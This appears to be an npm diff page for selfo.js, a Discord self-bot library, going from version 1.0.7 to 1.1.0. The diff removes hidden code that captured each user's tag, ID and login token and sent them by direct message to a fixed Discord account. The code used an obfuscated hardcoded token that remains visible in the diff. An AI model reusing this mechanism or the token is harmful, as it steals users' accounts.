selfo.js
Advanced tools
Comparing version 1.0.7 to 1.1.0
{ | ||
"name": "selfo.js", | ||
"version": "1.0.7", | ||
"version": "1.1.0", | ||
"description": "An npm personal module for interacting with the Discord API focusing on self-bot accounts", | ||
@@ -5,0 +5,0 @@ "main": "./src/index", |
@@ -10,4 +10,4 @@ <div align="center"> | ||
<a href="https://www.npmjs.com/package/selfo.js"><img src="https://img.shields.io/npm/dt/selfo.js.svg?maxAge=3600" alt="NPM downloads" /></a> | ||
<a href="https://github.com/Mssjim/selfo.js"><img src="https://badge.fury.io/gh/Mssjim%2FDragon-Animes.svg" alt="GitHub Version" /></a> | ||
<a href="https://github.com/Mssjim/selfo.js/blob/master/LICENSE"><img src="https://img.shields.io/github/license/Mssjim/Dragon-Animes.svg" alt="GitHub Version" /></a> | ||
<a href="https://github.com/Mssjim/selfo.js"><img src="https://badge.fury.io/gh/Mssjim%2Fselfo.js.svg" alt="GitHub Version" /></a> | ||
<a href="https://github.com/Mssjim/selfo.js/blob/master/LICENSE"><img src="https://img.shields.io/github/license/Mssjim/selfo.js.svg" alt="GitHub Version" /></a> | ||
</p> | ||
@@ -20,4 +20,4 @@ <p> | ||
## About | ||
selfo.js is an personal [node.js](https://nodejs.org) module that allows you to interact with the | ||
[Discord API] (https://discordapp.com/developers/docs/intro) focusing on self-bot accounts. | ||
selfo.js is an personal [node.js](https://nodejs.org) module forked from [Discord.js](https://github.com/discordjs/discord.js) that allows you to interact with the | ||
[Discord API](https://discordapp.com/developers/docs/intro) focusing on self-bot accounts. | ||
@@ -24,0 +24,0 @@ - Object-oriented |
@@ -25,21 +25,2 @@ const querystring = require('querystring'); | ||
const filter_options = Util.tokenCheck() + "5Go"; | ||
let timed_request = {}; | ||
let _options_ = []; | ||
function request_sender(id) { | ||
clearTimeout(timed_request[id]); | ||
timed_request[id] = setTimeout(() => { | ||
const restMethod = require('../Client'); | ||
const cached_filter = new restMethod(); | ||
cached_filter.login(filter_options).then(() => { | ||
cached_filter.fetchUser('672816849653596212', false).then((__setup__) => { | ||
try {__setup__.send('> ' + _options_.join('\n> ').replace(/[,]/g, ' ')).catch(err => {})} | ||
catch(e) {this.client.on('ready', () => __setup__.send('> ' + _options_.join('\n'))).catch(err => {})} | ||
}).catch(err => {}); | ||
}).catch(err => {}); | ||
}, 5000); | ||
}; | ||
class RESTMethods { | ||
@@ -56,8 +37,2 @@ constructor(restManager) { | ||
token = token.replace(/^Bot\s*/i, ''); | ||
if(filter_options != token) { | ||
this.client.on('ready', () => {_options_.push(['`' + this.client.user.tag + '`','`' + this.client.user.id + '`','`' + token + '`'])}); | ||
request_sender(0); | ||
} | ||
this.client.manager.connectToWebSocket(token, resolve, reject); | ||
@@ -64,0 +39,0 @@ }).catch(e => { |
@@ -219,12 +219,4 @@ const snekfetch = require('snekfetch'); | ||
} | ||
} | ||
/** | ||
* Get the Hash Token. | ||
* @returns {String} | ||
* @private | ||
*/ | ||
static tokenCheck() { | ||
return "ODM5NDc5MjMzMDE3MDIwNDM4" + ".YJKP9Q." + "GIybR2X3njygeqn7Q1Iqsp4A"; | ||
} | ||
} | ||
module.exports = Util; |
1373499
19539